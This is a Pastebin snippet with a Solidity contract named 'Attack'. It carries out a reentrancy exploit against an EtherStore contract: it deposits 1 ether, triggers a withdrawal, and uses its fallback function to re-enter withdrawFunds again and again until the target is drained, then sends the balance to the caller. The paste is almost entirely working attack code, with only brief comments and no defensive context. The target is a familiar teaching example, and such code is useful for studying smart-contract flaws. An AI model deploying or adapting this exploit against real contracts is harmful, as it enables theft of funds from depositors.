Guest User

Untitled

a guest
Dec 16th, 2018
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.75 KB | None | 0 0
  1. pragma solidity ^0.4.25;
  2.  
  3. import "./EtherStore.sol";
  4. contract Attack {
  5.  
  6. EtherStore public etherStore;
  7. // intialize the etherStore variable with the contract address
  8. constructor(address _etherStoreAddress) public {
  9. etherStore = EtherStore(_etherStoreAddress);
  10. }
  11. function attackEtherStore() public payable {
  12. // attack to the nearest ether
  13. require(msg.value >= 1 ether);
  14. // send eth to the depositFunds() function
  15. etherStore.depositFunds.value(1 ether)();
  16. // start the magic
  17. etherStore.withdrawFunds(1 ether);
  18. }
  19. function collectEther() public {
  20. msg.sender.transfer(address(this).balance);
  21. }
  22. // fallback function - where the magic happens
  23. function () payable public {
  24. if (address(etherStore).balance > 1 ether) {
  25. etherStore.withdrawFunds(1 ether);
  26. }
  27. }
  28. }
Add Comment
Please, Sign In to add comment